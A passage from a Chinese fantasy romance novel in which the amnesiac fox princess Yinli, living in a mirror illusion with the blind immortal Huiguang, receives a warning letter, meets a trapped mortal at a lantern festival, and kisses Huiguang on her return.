她这是在做什么幼稚的事? 这也太没意义了,她又不是小幼崽。 银梨耷拉下耳朵,为自己的行为深刻反省。 但隐隐地,方才那种忘却了一切、不必在意他人眼光的感觉,似乎格外让人怀念。 银梨记起,她好像在很久以前,本就是这样的性情。 她本应贪玩、随性、无拘无束,那是她的天性。 究竟是从什么时候开始,她不得不表现得端正沉稳、不得不重视自己的形象了呢? ……想不起来了。 她应该已经很久很久,没有这般纯粹地快乐过了。 过去的很多年里,她好像一直背负着什么沉重的责任,若不遗忘,便没有办法真心地高兴起来。 银梨不免恍惚。 没想到,反而是在这里,她就像卸下了所有负担一般,不必有所顾忌。 除了没有记忆之外……没有任何烦恼忧愁。 银梨难以否认,她其实很喜欢这里。 像这样的无忧无虑,于她而言,简直是一种难得的新生。 * 沉夜。 银梨晚上无聊,吵着要让回光弹琴给她听。 银梨已经发现了,这回光仙君虽然神出鬼没、一身白衣飘来飘去,动不动还找不到人,但只要银梨开口,不管说什么,他都会答应。 他对很多银梨觉得应该是常识的事,都表现出新鲜无知的样子,这让银梨觉得很有趣。 回光大抵是见过琴的,只是从来没有弹过。 银梨跟他说了这种乐器以后,他便不知从哪里弄了一台过来,生涩地拨弄。 只是,回光不会弹琴,银梨其实也不会,她以前的生活里,好像是没人教她琴棋书画的。 拿到琴以后,银梨试着指导回光道:“呃……这个……应该是弹拨这个弦,然后就会有声音了。” 银梨的教学到此为止,她已将自身所知倾囊相授。 说完,银梨自己都有点脸红,好在回光仙君看不见。 回光仙君拨了几下琴弦,微笑以对。 第二天白天,回光仙君没有出现在宅子里。 晚上,回光主动邀请银梨听琴。 银梨不知道他是做了什么, 但仅仅过了一夜,他抚琴的技术竟已变得十分高妙,便是练过数十年的琴师前来比较,只怕他也并不逊色。 银梨听得直鼓掌,惊叹不已。 回光由着她的喜好抚琴,几曲毕,便问她:“以前,你也会像这样,让其他男子为你抚琴吗?” 银梨眨了眨眼。 她的记忆一片空白,其实是说不上什么的,但回光问她的时候,她又好像会有大概的印象。 银梨回答:“应该……没有吧。” 她应该没有跟谁亲密到可以这样肆无忌惮地提要求。 可能有一个,但那个人更像是亲人,而且他也不会弹琴。 想到这里,银梨忽然一愣—— 她是什么时候,开始在回光仙君面前这么恣意妄为的呢? 总觉得,在他这里,怎样做都没关系。 银梨还未回过神来,回光听到她的答案,却好似很高兴。 他的嘴角抬高了,带着纵容的意味。 回光问:“你还有什么想听的曲子?我去学来弹给你。” 银梨在乐理方面没什么建树,这样问她,她一时都想不出来。 正当银梨苦思冥想的时候,突然,地面一震,整个宅邸异常地抖动起来,琴弦颤个不停。 这样的情况,近两个月来,从未有过。 银梨慌张地按住桌子以稳定身形,惊道:“出什么事了?” 就在她眼前,伴随着地震,白净无暇的墙上,裂开了一条细细的缝,缝隙不断扩大, 说时迟那时快,只见那白衣仙君猛一掐诀,一道气息挥去,手掌一抹,竟是用气息填缝,硬是将其抹平。 须臾,那裂缝恢复如初,像什么都没发生。 白衣仙君收了手,缓缓对银梨解释:“没事,应该是皇叔又想了什么办法来对付我,只要将他驱逐,便无事。” “……是吗?” 银梨有所迟疑。 白衣仙君的面色没什么异常,但方才那个抖动……在银梨看来,似乎与此前黑衣纸人那般的阵仗全然不同,不太像一人所为。 * 银梨又听回光弹了两首曲子,直到接近亥时,天色已晚,她才回屋。 谁知,在途径园墙时,她听到外面有呦呦的鹿鸣声。 ……幼鹿长鸣不止,像在呼唤什么。 不知为何,这鹿鸣声,给银梨一种很是怀念的感觉,令人在意。 银梨想了想,决定离开宅邸,去外面看看。 梨花林花落如飘雪,幽夜之中,月明如镜。 银梨凭着直觉往深处走。 蓦地,她眼前有阴影一晃,银梨定神,便见一只幼年青色雄鹿独自从梨花树后走出来,四周的草被它踩得发出沙沙声。 它口中衔着一封信。 灵鹿一见到银梨,就低下头,将信吐在银梨手上。 接着,不等银梨拆信,它便迅速转身,矫健地跳进林中,看不见了。 ……这是什么信? 银梨错愕,只得点了一团灵火,借着月光和灵火,直接拆开看了起来。 信上的字迹,扑面而来的熟悉。 只见信中写道—— 【银梨敬启】 【此番幻境,为明月历八百零七年之镜像。】 【镜中之景,虚可作实,假可作真,真假虚实,不可分辨。】 【邪镜潜伏多年,有诱人迷失之传闻,镜中许有其他受害之人,务必谨慎小心。】 【你我体内锁念草尚在奏效,但时限所剩不多,需要抓紧。】 【吾等欲从外部深入破坏幻境,然难度甚大。】 【若前往鬼君控制薄弱之处,或可与吾等取得联系。】 信尾,署名—— 青霜。 第46章 是夜, 银梨回到屋中,拿着这封信揣摩许久。 这信中的意思,似乎是说, 这个地方是一番幻象, 大概是以现实中的某个年头为基础的、虚实皆有的世界。 写这封信的人, 正在尝试从外面进入、破坏这个幻象,但短时间内无法成功。 如果要和写信人取得联系的话,要前往那个“鬼君”的控制比较薄弱的地方,才会有机会。 除此之外, 就没有别的讯息了。 银梨将这封信翻了几遍。 这个写信人……是认识她吗? 信上写出了她的名字。 先前的鹿鸣就像在引起她的注意, 那头青鹿见到她以后, 也是很精准地将信送到了她手上。 还有……锁念草,鬼君又是什么东西? 总觉得,像在提醒她什么。 银梨对信中的内容很是在意, 可是,她毕竟失了忆, 对这样来路不明的信件, 也不敢全信。 这天,她照例去找回光仙君吃饭的时候,便有些心不在焉。 回光像是觉察了她的异样,问道:“……怎么了?” “什么?” 银梨回过神。 回光道:“你今日……好像有什么心事。” “啊, 嗯……” 银梨支吾了一下, 想了想, 试探地问:“仙君, 你可有听过,‘青霜’这个名字?” 白衣仙君握着筷子的动作,貌似僵了僵。 他面色未改, 微笑地问:“……这个名字,你从何处听来的?” 银梨回答:“只是突然浮现在脑海中了。” 她观察着白衣仙君的反应:“仙君……真的认识这个人?” “……” 仙君沉吟。 正当银梨以为对方要说出一些有用的信息时,却听回光回答:“不认识。” 顿了顿。 回光皱起眉头,一本正经地补充道:“这个名字听着好不自在,我不喜欢。” 银梨:“……” 怎么还嫌弃上了。 再说,也没有很怪啊,不还挺好听的吗? 银梨看着回光真心闹别扭的样子,便换了个话头。 银梨问:“仙君,你想不想挑个日子,去外面转转?” “……?” 回光闻言,微微一动。 他问:“你不喜欢这里吗?” “……不是。” 回光仙君的语气很寻常,但银梨总觉得,她要是说了一句不好,第二天这个宅子就会原地消失,换成个别的什么似的。 银梨谨慎地道:“只是一直在这里,好像有些无聊了,而且,我的记忆也一直没有恢复的迹象。我想,如果去别的地方转转,说不定能想起点别的。” 回光认真思考了起来。 他问:“那你想要去什么样的地方?” “……不用太远,最好热闹一些,有很多人。” 银梨斟酌着回答。 她看向窗外:“最好,是能看到月亮的地方。” “……” 回光若有所思。 * 黄昏时分,当一辆马车出现在宅子外面的时候,银梨并不意外。 即使是她自己都无法否认,回光仙君对她实在有求必应,只要她说出口,就没有什么事不会被满足。 白衣仙君就站在马车外面,等她。 宽大的直袍,衬得身形清瘦,大半白绫遮了面,只露出轮廓清晰的下颔。 他在梨花林中,远远看去,犹如一道苍白的影子,飘忽不定,不太像是活人。 直到走近,银梨才能确定这个人切实存在。 银梨跟着上了车,她苏醒以后,几乎就没离开过这片梨花林,现在终于要去外面,竟有几分忐忑。 白衣仙君也同她一起进了车内。 车就像有人在前面驾驶一般,自己行了起来。 银梨不时就会揭开帘子为外面看。 她记忆都没有了,但她发现自己对地点还有印象,只要看到道路,就能反应过来。 在月东林附近,有好几个不算小的城镇。 这一带有神女的凡间居所,所以人群喜欢聚集在这周围。 在很久很久 以后,这些城镇中最大的一个,似乎会成为银梨最为重要、熟悉的据点。 更多的,银梨想不起来了。 但是毫无疑问,马车行驶的路线,还有这一路他们经历的地点,全都是真实的。 若这是个幻境,那未免太大、太逼真了。 马车经过的道路,起先是荒草成堆的山路,到后面,慢慢成了平坦的石板路,两边有了人居,人声渐渐喧嚷起来,说话声、叫卖声,烟火气熏人。 小镇里灯火通明,一座石拱桥架连起热闹的河道两岸,水流中河灯顺势而下,有如银河繁星。 这小镇里,竟正在办灯会。 银梨记得,凡间推崇月神,每到满月,是常有灯会,通常是一年三五次大半,每月两三天小半。 今夜月满为盈。 银梨惊讶道:“竟然这么热闹。” 大抵她的反应是惊讶多过惊喜,回光问她:“你不喜欢吗?” “不是。” 银梨回答。 但她的确感到意外。 银梨道:“我记得,现在这个时节,应该最多只有小灯会,但看这里的盛况……应该是个大灯会吧?” 回光问:“大灯会不好吗?” 银梨摇头。 “灯会当然是越大越好,但……” 银梨的眼眸倒映着繁华的灯火,只觉得这场景很是久违,怀念得让人心痛。 她说:“这样……可以吗?” “……近年风调雨顺,凡间生灵丰衣足食,不必费力整日谋生,也可过上富足的生活,因此灯会规模就比平常大了。” 回光如此解释道。 “……你说你想来热闹的地方。如果你想的话,现在,每晚都可以有灯会。” 银梨听得晃神。 这个解释,未免太梦幻了。 但在她内心深处,这似乎正是她所渴望的世界,令她不由自主地想要相信。 马车停在集市之外,银梨领着回光下了车。 梨花林是回光仙君的住处,他对那里了如指掌,自然可以行动自如。 但在这里,银梨估计他行动没法那么方便,便主动扶了他的胳膊,好引导他走路。 在她的手碰到他时,白衣仙君的身体微微一僵,似是吃惊,又像不太习惯。 但他没有拒绝,听话地跟着银梨。 银梨觉得自己应该很久没有逛过灯会了,她心里惦记着那封信,起先还有些不在状态,可食物的香味不断飘入鼻腔,周遭皆是无忧无虑的笑声,银梨不觉渐渐被人群的氛围感染,起了四处逛逛的兴致。 街边各种小吃的叫卖起劲,银梨拉着回光走过去。 银梨兴致勃勃地看了一圈,问他:“你想吃什么?有煎饼、梨膏糖、糖葫芦,还有各种包子。” 回光好像根本无心这些,他的心思全都集中在了自己的手上。 夜市人多,银梨大抵是为了走得快,不知不觉就从扶他的姿势,变成了拉他的手。 银梨见他没立即回答,以为他没听清,又拉了拉他的袖子,又问:“有糖葫芦、煎饼、梨膏糖,还有很多点心,你有想吃的吗?” 银梨怕夜市吵闹,这一遍问的时候,又贴得离他的耳朵近了些。 回光的耳尖好像红了一点。 回光停顿了一下,才回过神来,低下头问:“你有想吃的吗?” ……? 是她先问的,怎么反而问她? 银梨想了想,这白衣仙君连粥都没喝过,料想也没吃过这些。 她索性转了一圈,什么都买了点。 白衣仙君平时用筷子和勺子吃饭已经很熟练,但夜市里的小吃,银梨怕他没吃过,主动掰成小块喂到他嘴里。 回光猝不及防就被塞了一口,食物含在嘴里发怔。 银梨问他:“这是定胜糕,怎么样?” 回光这时才反应过来,将口中的东西咽下去。 他说:“甜的……大概。” 银梨笑眼弯弯:“那你再尝尝这个,咬慢点。” 说着,她又递了一口糖葫芦到回光嘴边。 回光咬了一口,回答:“甜的。” 银梨又喂了他一口酸梅汤。 回光:“甜的。” 银梨:“……?” 怎么都是甜的? 虽然要说甜味,这些东西的确也不是没有,但应该能尝出点别的味道吧? 银梨胜负欲都有点上来了,到处买奇怪的食物喂他。 喂到后来,她也忘了这回事了,反而自己也跟着吃了不少。 吃了一堆小吃,银梨又拉着回光去看一些稀奇的小物件。 银梨把鲁班锁塞进回光手里。 回光生涩地摸来摸去,问:“这是什么?” 银梨笑道:“鲁班锁,拿来拆着玩的,这几块木头通过特殊结构咬合在一起,要费些心思才能打开。” 回光闻言,便将它拿在手中摆来摆去,试图打开。 银梨心想回光看不见,让他解鲁班锁可能还是太勉强了,转头去买了个拨浪鼓,放在他咚咚咚地转来转去。 回光认真听着,又问她:“那这是什么?” 银梨说:“拨浪鼓,小孩子玩的。” 说着,银梨将拨浪鼓塞到回光手里,让他摇着玩。 回光大抵也没玩过这个,转得很慢,像摆弄什么不认识的器具似的,咚咚转了两下。 银梨忍不住笑了,道:“看大人玩这个好怪。” 回光不太明白,但他听到银梨笑了,嘴角也弯了起来,看起来很开心。 两人边逛边玩。 银梨一边找各种新鲜东西给回光尝试,一边留意着周围环境。 跑了半条街,银梨注意到一件奇怪的事。 银梨喃喃:“这些商贩……” “什么?” “……没事。” 不知怎么的,当回光问起的时候,银梨下意识地藏了话,没有直接说出来。 她发现,集市上的所有商贩,左手的手腕上,都有一个十分相似的银片坠子,那薄薄的一片,像弯弯的月牙。 ……总觉得以前也见过这个东西。 这么大的地方,所有人手腕上都戴着这样一个东西,未免太不自然了。 这是阵法吗? 如果是,又是什么阵? 银梨头痛起来,记忆的缺失,让她的思考很容易中断。 她不自觉地想起了那封信。 ——镜中许有其他受害之人。 ——若前往鬼君控制薄弱之处,或可与吾等取得联系。 事实上,银梨说想到人多的地方来,未尝不是想验验那封信的真伪。 想要遇到别的被困的人,自然要到人多之处。 至于“鬼君”控制弱的地方,银梨想不到能去哪里,只能先离开宅邸,换个别的地方,看看能不能有线索。 但到现在为止,除了那个银片看着不对劲,别的一切都很正常。 要说其他被困之人……至少夜市上的商贩和行人,没有谁像是被困了。 ……是多虑了吗? 信中之言,未必就是真的吧? 银梨一边牵着白衣仙君,一边在夜市中穿梭。 发觉银片的异常以后,银梨走在路上,便不自觉地观察所有人的左手手腕。 然后她发现,不止是商贩手腕上挂了银片,路人也有。 大人有,小孩也有。 女人有,男人也有。 要说因为风俗或者某种风尚,很多人都戴同一种首饰合理,但是在这个地方,所有人都佩戴一模一样的银片,多少便有些怪诞了。 银梨与回光站在人堆中,前方有卖艺者在表演,唢呐笛声不绝,人群不时爆发出掌声和叫好声。 回光应当看不见,但大抵是有银梨在身边,他对周遭的环境也起了好奇心,似是起了兴致在听。 反是银梨有些心不在焉。 她一边看表演,一边目光却不自觉地向其他人的手腕上扫去。 就在这时,她看到一个光洁的左手腕,在前方一晃而过,消失在人群中。 银梨本来都有些麻木了,没想到会遇见一个特例,当即呆住。 她当场就想去追,但回身就想起,回光仙君还站在旁边。 ……如果要去追人,带着回光肯定不现实。 再者,回光仙君平时也给人捉摸不透的印象,若此地真有异常,银梨也不清楚是不是应该带他。 ……最好,还是先与他保持一些距离吧。 银梨略一斟酌,拽了拽他的袖子:“仙君。” 回光本来像是在听卖艺者的奏乐,但银梨一唤他,他便转过头来。 回光 静静地面对她的方向,脸上带着浅笑,像是随时准备倾听她的话。 银梨突然有些心虚。 回光应该看不见,可是很多时候,她都有一种被对方注视的错觉。 银梨不喜欢撒谎,她希望回光没有觉察到她此时的异状。 银梨说:“我刚才路过一个铺子,看到里面的花灯很漂亮,毕竟是灯会,我还是想折回去买一盏。 “你能不能在前面等我?那里应该也能听到卖艺的声音,我很快就回来。” 回光的表情没有变化。 正当银梨忐忑时,却听回光很干脆地答应:“好。” “——!” 回光答得太过果断,也太过温柔了,反而让银梨错愕。 银梨意识到,回光一直对她有求必应,即使是这样的要求,也没有犹豫。 内心深处,不可避免地浮现罪恶感。 银梨问:“你……没关系吗?” 回光微笑:“我会等你。” 他面上没有一丝迟疑,全然听从的神态,反而让银梨揪心。 银梨:“那我……去去就回。” “好。” 银梨牵着回光,将他留在连接河道两岸的拱桥上,两人约定一会儿在这里碰面。 她本要走了,但要分开的时候,白衣仙君又勾了一下她的手指,让银梨忍不住又回头。 回光没有改变主意,只是忽然流露了一些不安。 回光问她:“你会回来的……对吗?” 银梨点了点头。 白衣人站在阑珊灯火之下,他大半张脸都被白绫覆着,衣袍宽松,莫名有清冷缥缈之感,仿佛随时会消失在原地。 “银梨。” 他轻轻地唤她。 “我看不见,要是你不回来,我不知道去哪里。” 相遇这么久以来,银梨其实从未见这位仙君因为目盲而有什么特别不便之处,他好像也并不在意这件事。 这还是第一次,他以这种方式来向她示弱,以此挽留。 ……总觉得,白衣仙君此刻异常脆弱,好像只要碰一下,就会轻易破碎。 银梨不由对他承诺道:“放心吧,我一定回来的。” 话完,银梨本要离开,但走了几步,又忍不住回头。 白衣仙君守在原地,面朝她的方向。 ……总觉得,她不是第一次见这个场景。 无论她何时回头,总是有人在原地等她,无论多久。 但银梨不能再停留了,急忙朝那个没有系银片的、一闪而过的身影追去。 她在人潮中穿梭。 没有回光跟着,银梨的行动的确自由了许多。 她先抓了一个商贩,问道:“今年是哪一年?” 对方看上去莫名其妙,但还是回答了她:“今年是明月历八百零七年……姑娘,你有什么事吗?” 银梨没有跟他再聊,继续往前追。 ……竟然真的是明月历八百零七年! 银梨已经完全不记得这个年份意味着什么了,但可以肯定的是,这和信里所写的一样。 ……不能光凭这个就相信那封信,还得知道更多的东西。 银梨的眼神快速掠过路过每个人的手腕。 在灯会的人流中找人并不容易,但好在这个镇子不算很大,最繁华的地方也就两三条街,兼之银梨对那个人多少留了点印象,不算全无头绪。 终于,功夫不负有心人,在跑了大半条街以后,银梨一眼就看到了那截光裸的手腕—— 她冲过去,一把扣住对方的肩膀。 第47章 那是个高瘦的男子, 只穿了件青色的薄衫,五官秀气,没有太多特征, 但气质舒朗隽逸, 让人看得舒服。 银梨拦住他的时候, 他正兴致勃勃地在递钱买包子。 男子被握住肩膀,回过头,看到银梨,先是惊讶, 接着, 他端详了一下银梨的外表, 竟然认出了她:“您……该不会是银梨公主吧?” 银梨一愣:“……你认得我?” 银梨没有记忆,但她在看到见过的东西时,会有含糊的印象。 然而, 眼前这个人,银梨很确定, 她没见过, 应该不认识。 谁知对方一听笑了:“我没有见过您,但看到这样的狐耳和九尾,任谁都会第一时间想到您吧?” 不等银梨询问,他反而主动与银梨寒暄:“公主, 您怎么会在这里?难不成, 凡间已经彻底被永夜吞没了吗?” “……永夜?” 银梨从这个人口中, 听到了陌生的词汇。 银梨直接问道:“永夜是什么?还有……你为什么唤我公主?” 对方微微有些吃惊。 “公主您这是……” 男子思索了一下, 恍然大悟道。 “您这是记忆不清楚吧?” “没关系,若是初入镜中,有时候是会有这种情况的, 一般不打紧,只要适应适应就好了。再说,这里面很安全,就算想不起来也没事。” 他大致给银梨解释了一下:“永夜简单来说,就是月神去世以后,凡间没有明月庇护,坠入了长久的暗夜,致使鬼怪邪物大量滋生,人世间生灵涂炭、尸骨遍地。 “现在,一般人在外界恐怕是无法生活的,就连法力低微的修士都十分危险。 “不过,公主既然已经到了这里,那就不用担心了,我在这里已经住了几十年了,肯定不会有事。” 银梨问:“你说的‘这里’究竟是指哪里?” 男子回答:“这里就是这里啊。我没什么修为,对术法不太懂,但听其他人说,这里可能是一面镜子中的世界,和凡间相似,但比真正的凡间更好。” “……更好?” “当然。” 男子脸上流露出沉醉的表情。 “一开始公主可能不太明白,慢慢就会理解了。” 银梨果然不太懂。 她思考了一下,问:“那这集市中的人……也和你一样,是住在这里的人吗?为何他们手腕上都有一个银片链子,只有你没有呢?” 男子笑了,道:“他们不是,严格来说,我也不是住在‘这里’。目前这一带,可能只有我们两个算是活人。” 银梨面露疑惑。 于是,男子从头讲起道:“我名叫季听弦,本是一名在茶馆酒楼奏乐谋生的琴师,永夜降临后不久,我担心家人的安危,便前往家乡探亲,谁知在返程时,在月东林中迷路。 “像我这样没有修为的凡人,在永夜中迷失,通常是必死无疑了。 “我当时十分害怕,到处乱撞,并在心中祈愿,乞求有谁能来救我,只要能到安全的地方,哪里都可以。 “就在绝望之际,我看到眼前出现了一面镜子。 “再之后,等回过神来,我就已经在这里了。 “要是没猜错的话,我应该是被那面镜子‘收’进来的。 “它听到我的心愿,便救了我,将我带离了那个危机四伏的凡世,放到了这个安全的、鬼怪无法入侵的地方。” 银梨还是头一次听到这个视角的说法。 她问:“救你?在你看来,这面镜子并非恶意,而是主动救你的吗?” 季听弦点了点头。 他说:“是我在呼救以后,它才将我收进来的。” “……不会是偶然吗?” 季听弦笑道:“不是。事实上,不是只有我一个人被收进来,这里除了我们,还有很多人。大家经历大多相似,都是在月东林中迷路,在以为没有生路之际,被救到了这里。” 银梨又问:“那你们进来以后,还出去过吗?” “没有了。” 季听弦摇了摇头。 “有这样安全的地方,谁还会想到外界那全是邪鬼的地方去?” 竟是这样。 银梨想了想,有些明白了这些人的处境。 但一转念,她又道:“可若是如此,从你亲朋好友的角度来看,你不是从那以后,就在月东林中失踪了吗?” 听到银梨这样说,季听弦忽地有些沉默,像是被说中了心事。 良久,他轻叹一声,道:“或许如此吧!但那个时候,也顾不了那么多了,若是没有躲到这里,我早就死了。” 他回忆了一下,道:“我到这 里是算比较早的,听之后进来的人说,因为不断有人在月东林中失踪,凡间是慢慢有一些古怪的传言,说月东林中有邪鬼云云,后来还将月东林称作鬼林。 “从外界看或许的确如此,但事实上,进到这里来的人大多是迷路无助时,被救进来的,而且进来以后,没有一个人想出去。 “这里比真正的凡间可好太多了,不愁吃穿,不用担心邪鬼,还不用那么辛苦地劳作、看人脸色混饭吃。 “公主有所不知,其实进入镜中以后,我们大多数时间是各自沉睡,进入一个梦中。 “在梦里,想要什么都有什么,不老不死,无忧无虑,可谓随心所欲、心想事成,与神仙也差不了太多,还不用经过痛苦的修炼。 “我本来也是在我自己的梦里。不过,前两天,此地的主人忽然将我唤醒,说要映照一下我弹琴的记忆。 “我不知道他映照我的记忆是要干什么,但我醒来,就在这个幻境里了。 “我睡觉睡得也有些久了,醒来发现这个幻境与我过去生活的地方比较像,就说想久违地回家乡看看,正巧又赶上灯会,便暂时留在这里游玩。等我玩得差不多,就要回自己的梦里去了。” 听到这里,银梨微微出神。 听季听弦所言,这里的主人,似乎对留在这里的人没有什么伤害,不像是坏人。 可若是如此,为何那封信…… 银梨抱着试试的态度问:“你既然知道我,那你……知道‘青霜’这个名字吗?” “青霜少君?” 季听弦反应迅速。 “那位应当是您的兄长吧,我记得,世人皆知你们是神女身边的玉石兄妹,感情深厚。” 竟然认识! 银梨忙道:“其实,昨夜我收到一封信,信的署名是青霜。信中内容……大概是说这个地方有问题,希望我与外界取得联系。” 季听弦闻言大惊,当即道:“公主万万不可相信啊!现在外面是什么情况可不好说!若有东西诱你去外界,十有八.九是坏的!定是在害你!说不定是邪鬼的阴谋诡计!” 季听弦说:“我进入这里是几十年前,当年凡境的状况便不容乐观,如今数十年过去,连公主都进入镜中,只怕外面已是邪鬼肆虐、尸横遍野了! “青霜少君是公主的兄长不假,但从外面送信进来的,未必就是真正的青霜少君。 “这世上的邪鬼惯会迷惑人,不少都会假冒亲眷,诱骗他人。 “如今外界荒芜,唯有镜中最为安全,青霜少君若是为了公主好,定不会诱导公主去外面。如此为者,必定起心不良!” 季听弦信誓旦旦,言辞恳切。 银梨听他如此情真,纵然犹豫,不免也信了三分。 银梨问他:“可是……既然你也知道这里是幻境,当真愿意永远留在这里,永不离开吗?” 季听弦闻言,忽地一顿。 “公主,我只是一个凡人。” 良久,他道。 “我既没有修为,也去不了无忧无虑的仙神之居。在这样的乱世里,随便一个鬼怪就能轻易将我碾碎,朝不保夕。” “就算没有乱世,我也是过着为了一粥一饭日夜奔波、受人脸色混饭吃、一年到头存不下几粒米的日子。” 季听弦话说得很慢,在他的眼眸深处,无意识地流露出一缕哀伤的无奈。 他说:“像我这样的凡人,若不是躲在这面镜子里,按正常寿命,即便没有永夜,也早就死了。” “——!” 银梨一愣。 季听弦继续道:“刚到这里的时候,我也很害怕,觉得此地诡异,即便被困在这里的人没有死去,这里也多少透着几分邪气,并非全然正道。 “但慢慢地,我就发现,这里可比外面强多了。 “于我这样的无名小卒而言,即使是月神还在的日子,也未必能有那么舒心。 “在公主看来,我们这样的想法,可能是逃避之举,可对我来说,这却是苦难中仅有的一线生机。” 季听弦之言,已隐隐有悖逆月神之意。 但银梨说不出话。 他的眼神太过真挚了。 正因为能想象到他的苦难绝非虚言,银梨才能肯定,他字字发自真心。 季听弦说:“说实在的,我不在乎此地究竟是仙境还是鬼阵。 “仙道?鬼道?与我何干? “对公主和少君这般纯粹的仙神而言,这样的形式,可能不合道理。 “但于我而言,只要能让我幸福地活下去,究竟是鬼怪的邪境,还是月神的赐福之地,又有什么区别?” 银梨接不上季听弦的话。 站在她的角度,她不应该附和季听弦,去纵容邪鬼。 可是,她也没有办法反驳。 季听弦知道的事情,应该都已经告诉她了,具体要如何考虑,便要看银梨自己。 就在这时,天上下起了细雨。 银梨到这个地方以后,还是第一次遇见下雨。 很小的雨,凉丝丝的。 银梨回过头,才发觉她与季听弦聊了太长时间,不知不觉灯会都要结束了。 小摊收得稀稀拉拉,行人也所剩无几。 猛地,银梨想起来,在半条街外的小桥上,还有个人一直在等自己。 她想要问的,都已经问过了。 银梨忙对季听弦道:“情况我大致知道了,我会仔细考虑你的说法的,多谢你愿意告诉我这些。” 银梨本欲离开,但季听弦见她转身,忽然欲言又止,又拦了她一下。 季听弦道:“公主,你腰上那个玉佩,莫不是从外面带进来的?” 银梨步调一停,问:“怎么?” 季听弦说:“我没有修炼过,对这些其实不是很懂,只是在这里待久了,见过的人多了,稍微听其他人说了一些……如果我没认错的话,那个东西,可能是鬼信物。” “鬼信物?” “对。” 季听弦瞧着知道得也不多,说得犹犹豫豫,不大确定。 他道:“我听说,被挂上这个东西的人,会被鬼怪结鬼亲,有损神智性命。虽说在这个地方,外面的鬼怪大概进不来,但戴着这么一个东西在身上,想来还是不太好吧。 “公主方才说自己没有记忆,说不定就和此物有关。” ……结鬼亲? 银梨心念一动,旋即想到,那位白衣仙君身上也有一模一样的东西。 银梨道:“……这块玉,除了我之外,我看到另一个人身上也有。” 季听弦惊讶道:“还有一个人?!这样的东西不多见啊,难不成你说的另一个人,也被邪鬼定了亲吗?” 银梨问:“此物若是不解,会发生什么?” 季听弦吃力地回忆着:“不太清楚……要是被邪鬼结成鬼亲,那想必就要被带往冥界,回不来了。但像公主这般修为高超的人,就算被挂了鬼信物,想来也不太容易被带走……就这样放着不解的话,也许会有碍身体吧?” “……” 银梨想到她和回光体内都有一样的亏空,他们两个身上又挂着同样的鬼信物,难不成,就是因为这个? 银梨问:“那要想解下来,该怎么办?” 季听弦想了想,回答道:“只要在被邪鬼带走之前,与其他人成亲即可。鬼怪之行也要遵循规律,若是挂上鬼信物的对象已有其他婚事,它们便无法再与之结亲了。” ……听着倒不是个很困难的解法,只是人选难定。 不过,既然邪鬼没法轻易把她带走的话,也不必急于一时。 银梨应道:“我知道了,多谢你。” 季听弦冲 她点头道别。 这下话是真说完了。 银梨转了头,连忙往拱桥的方向跑。 路上已经没有多少行人了。 小雨还在下。 莫名地,银梨从这清冷的雨中感到了一丝哀伤的情绪,又夹杂着某种隐忍、压抑、像怕把某人淋湿一般的小心翼翼。 终于,她看到了拱桥。 灯会的花灯熄了大半,卖艺的队伍早就走了,桥边街道已然空寂,只余一盏幽灯为桥上照明。 那个白衣清癯的身影就在那里,一动不动。 周遭,只余下他一人。 就这样静静地,一直等在这里。 银梨急忙跑过去。 白衣仙君听到银梨奔跑时越来越近的脚步声,一滞,覆着白绫的脸转了过来。 忽然间,云开雾散,天月重现。 银梨跑近才发现,白衣仙君的头发和衣裳都在细雨中浸湿了,单薄的浅色衣衫贴在身上,勾勒出消瘦的身影。 饶是如此他都没有找地方躲雨,就这样一直站在桥上,像一只被雨淋透的小狗。 银梨上前,想帮他擦擦,但下一瞬,倏地被对方拥进怀里。 “你终于……回来了。” 他说。 清冷的怀抱,没有一点温度,扑面而来夜息香的气息,带着雨天的潮意,像在雪夜落进了湖里。 回光的指尖,有一丝颤意。 从那之中,银梨感受到了他的不安。 忽然间,银梨意识到,自己应该怎么做才能让对方安心。 而且,她对此也毫无抗拒。 银梨环住了对方的脖子。 轻轻地,闭上眼睛。 然后,她踮起脚来,吻到了那双冰凉的唇上。 第48章 银梨对自己是怎么回到梨花林的宅邸中的, 没有半点记忆。 在回程的马车上,她和回光,几乎一直在接吻。 她被按在马车的侧窗上, 回光扣着她的手腕。 从未这样亲近一个人, 从未与谁这样贴近。 回光的气息微冷, 他身上夜息香的味道逼进鼻腔,银梨觉得自己将要整个人融入他怀里。 他吮吻她的嘴唇。 温柔地,缠绵地,留恋地, 克制地, 克制不住地。 就像限制良久的禁制终于被打开, 所有渴求的欲望都能被毫无保留地释放出来。 回光在桥上淋了细雨,他的发丝和衣裳都被浸润了微凉的潮意,两人贴得这样紧, 容不得一丝多余的缝隙。 银梨觉得自己的衣裳也被他浸透了水汽,薄凉的春衫贴在皮肤上, 分不清是谁身上的雨。 车厢门窗紧闭, 狭小的空间里,他们不断吞吐彼此的呼吸。 回光身上明明这样凉,银梨却觉得两人的气息都在升温。 他们好像没有从缓慢试探到热烈的过程,只是贴在一起, 两人的情绪就直接沸腾到了顶点, 亲吻的动作太过急切, 连寻常的喘息都变得促狭。 银梨被揉乱了发髻。 马车在山路上的颠簸仿佛让他们的身体贴得更亲密, 轻微的震颤好像某种碰撞,几乎要将他们揉碎、混合在一起。 不敢想象若是风吹开了车牖和帷帐,外面的人看到的会是什么光景。 万幸, 深夜的雾气足以遮掩他们的身影。 银梨挂在回光的脖子上,搂得好紧,她被吻得分不清东南西北,一刻都不敢轻易松手分离。 银梨恍惚地回忆起,她以前可能不是没有接过吻。 不过,那个时候的吻…… 脑海中闪现出朦胧的画面。 大婚般的布景,贴着她的那个人,身上也有夜息花的香味。 只是那个吻,稚嫩,单纯,青涩。 那是一种孩童模仿般的、纯粹的亲近,甚至夹着些客气和疏离。 而不是像现在这样,疾风烈雨,侵掠城池。 可能称不上很娴熟,但绝对怀有某种目的。 就像有意要勾出她的情欲似的,极近可能地在撩拨挑起她的情绪。 银梨几乎要扛不住了。 她好不容易找到换气的机会,勉强将对方推离了半寸,迷迷糊糊地喘息着问:“接吻……嗯……是这样的吗?” 气息相似的吻,给人的感觉却天差地别。 回光喉结动了一下,声音有些低哑,简直像带着蛊惑的意味:“不是这样的吗?” 银梨晕乎乎地说:“和之前的……好像不太一样。” “……之前?” 回光闻言,好像认真思索起来,须臾,恍然大悟。 他道:“我学过了。” “……学过了?” “是。” 回光温柔地抚上银梨的脸。 他说:“我学了好多东西,不止这个,还有其他的。现在,我有好多知识,可以一一告诉你。” “?!” 银梨的大脑像被什么堵住了,卡得转不过来。 回光说他学了什么东西? ……是她想得那样吗? 他为什么要学这么奇怪的事情? 银梨不自觉地想起之前,回光一夜之间就从琴弦都不会拨的初学者达到了人琴合一的境界,把琴弹得炉火纯青。 